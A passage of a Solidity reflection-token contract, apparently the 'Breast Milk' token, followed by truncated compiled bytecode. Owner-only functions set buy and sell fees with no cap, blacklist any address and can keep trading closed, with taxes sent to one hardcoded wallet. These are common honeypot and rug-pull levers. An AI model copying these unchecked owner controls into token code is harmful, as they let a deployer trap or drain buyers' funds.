uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x38ce4f717fC143e6539eaEfC091Bc1976b83A06E);
address payable private _marketingAddress = payable(0x38ce4f717fC143e6539eaEfC091Bc1976b83A06E);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 60000 * 10**9; //.6%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612ea1565b6106cc565b005b34801561020657600080fd5b5061020f6107f6565b60405161021c91906132fe565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e01565b610833565b60405161025991906132c8565b60405180910390f35b34801561026e57600080fd5b50610277610851565b60405161028491906132e3565b60405180910390f35b34801561029957600080fd5b506102a2610877565b6040516102af91906134e0565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612dae565b610886565b6040516102ec91906132c8565b60405180910390f35b34801561030157600080fd5b5061030a61095f565b60405161031791906134e0565b60405180910390f35b34801561032c57600080fd5b50610335610965565b6040516103429190613555565b60405180910390f35b34801561035757600080fd5b5061036061096e565b60405161036d91906132ad565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612d14565b610994565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612eea565b610a84565b005b3480156103d457600080fd5b506103dd610b36565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612d14565b610c07565b60405161041391906134e0565b60405180910390f35b34801561042857600080fd5b50610431610c58565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f17565b610dab565b005b34801561046857600080fd5b50610471610e4a565b60405161047e91906134e0565b60405180910390f35b34801561049357600080fd5b5061049c610e50565b6040516104a991906132ad565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612eea565b610e79565b005b3480156104e757600080fd5b506104f0610f2b565b6040516104fd91906134e0565b60405180910390f35b34801561051257600080fd5b5061051b610f31565b60405161052891906132fe565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f17565b610f6e565b005b34801561056657600080fd5b50610581600480360381019061057c9190612f44565b61100d565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e01565b6110c4565b6040516105b791906132c8565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612d14565b6110e2565b6040516105f491906132c8565b60405180910390f35b34801561060957600080fd5b50610612611102565b005b34801561062057600080fd5b5061063b60048036038101906106369190612e41565b6111db565b005b34801561064957600080fd5b50610664600480360381019061065f9190612d6e565b611315565b60405161067191906134e0565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f17565b61139c565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612d14565b61143b565b005b6106d46115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890613440565b60405180910390fd5b60005b81518110156107f257600160106000848481518110610786576107856138d3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ea9061382c565b915050610764565b5050565b60606040518060400160405280600b81526020017f427265617374204d696c6b000000000000000000000000000000000000000000815250905090565b60006108476108406115fd565b8484611605565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108938484846117d0565b6109548461089f6115fd565b61094f85604051806060016040528060288152602001613d8160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109056115fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120559092919063ffffffff16565b611605565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61099c6115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2090613440565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a8c6115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1090613440565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b776115fd565b73ffffffffffffffffffffffffffffffffffffffff161480610bed5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd56115fd565b73ffffffffffffffffffffffffffffffffffffffff16145b610bf657600080fd5b6000479050610c04816120b9565b50565b6000610c51600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b4565b9050919050565b610c606115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490613440565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610db36115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790613440565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e816115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0590613440565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600a81526020017f4272656173744d696c6b00000000000000000000000000000000000000000000815250905090565b610f766115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffa90613440565b60405180910390fd5b8060188190555050565b6110156115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990613440565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110d86110d16115fd565b84846117d0565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111436115fd565b73ffffffffffffffffffffffffffffffffffffffff1614806111b95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a16115fd565b73ffffffffffffffffffffffffffffffffffffffff16145b6111c257600080fd5b60006111cd30610c07565b90506111d881612222565b50565b6111e36115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790613440565b60405180910390fd5b60005b8383905081101561130f578160056000868685818110611296576112956138d3565b5b90506020020160208101906112ab9190612d14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113079061382c565b915050611273565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113a46115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890613440565b60405180910390fd5b8060178190555050565b6114436115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c790613440565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611537906133a0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906134c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc906133c0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117c391906134e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183790613480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790613320565b60405180910390fd5b600081116118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea90613460565b60405180910390fd5b6118fb610e50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119695750611939610e50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5457601560149054906101000a900460ff166119f85761198a610e50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613340565b60405180910390fd5b5b601654811115611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3490613380565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ae15750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b17906133e0565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bcd5760175481611b8284610c07565b611b8c9190613616565b10611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc3906134a0565b60405180910390fd5b5b6000611bd830610c07565b9050600060185482101590506016548210611bf35760165491505b808015611c0b575060158054906101000a900460ff16155b8015611c655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7d5750601560169054906101000a900460ff165b8015611cd35750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d295750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d5157611d3782612222565b60004790506000811115611d4f57611d4e476120b9565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dfb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611eae5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ead5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ebc5760009050612043565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f675750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f7f57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561204257600a54600c81905550600b54600d819055505b5b61204f848484846124a8565b50505050565b600083831115829061209d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209491906132fe565b60405180910390fd5b50600083856120ac91906136f7565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121096002846124d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612134573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121856002846124d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b0573d6000803e3d6000fd5b5050565b60006006548211156121fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f290613360565b60405180910390fd5b600061220561251f565b905061221a81846124d590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225957612258613902565b5b6040519080825280602002602001820160405280156122875781602001602082028036833780820191505090505b509050308160008151811061229f5761229e6138d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234157600080fd5b505afa158015612355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123799190612d41565b8160018151811061238d5761238c6138d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611605565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124589594939291906134fb565b600060405180830381600087803b15801561247257600080fd5b505af1158015612486573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124b6576124b561254a565b5b6124c184848461258d565b806124cf576124ce612758565b5b50505050565b600061251783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061276c565b905092915050565b600080600061252c6127cf565b9150915061254381836124d590919063ffffffff16565b9250505090565b6000600c5414801561255e57506000600d54145b156125685761258b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061259f8761282b565b9550955095509550955095506125fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128dd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126de8161293b565b6126e884836129f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161274591906134e0565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa91906132fe565b60405180910390fd5b50600083856127c2919061366c565b9050809150509392505050565b600080600060065490506000662386f26fc100009050612801662386f26fc100006006546124d590919063ffffffff16565b82101561281e57600654662386f26fc10000935093505050612827565b81819350935050505b9091565b60008060008060008060008060006128488a600c54600d54612a32565b925092509250600061285861251f565b9050600080600061286b8e878787612ac8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612055565b905092915050565b60008082846128ec9190613616565b905083811015612931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292890613400565b60405180910390fd5b8091505092915050565b600061294561251f565b9050600061295c8284612b5190919063ffffffff16565b90506129b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128dd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a0d8260065461289390919063ffffffff16565b600681905550612a28816007546128dd90919063ffffffff16565b6007819055505050565b600080600080612a5e6064612a50888a612b5190919063ffffffff16565b6124d590919063ffffffff16565b90506000612a886064612a7a888b612b5190919063ffffffff16565b6124d590919063ffffffff16565b90506000612ab182612aa3858c61289390919063ffffffff16565b61289390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ae18589612b5190919063ffffffff16565b90506000612af88689612b5190919063ffffffff16565b90506000612b0f8789612b5190919063ffffffff16565b90506000612b3882612b2a858761289390919063ffffffff16565b61289390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b645760009050612bc6565b60008284612b72919061369d565b9050828482612b81919061366c565b14612bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb890613420565b60405180910390fd5b809150505b92915050565b6000612bdf612bda84613595565b613570565b90508083825260208201905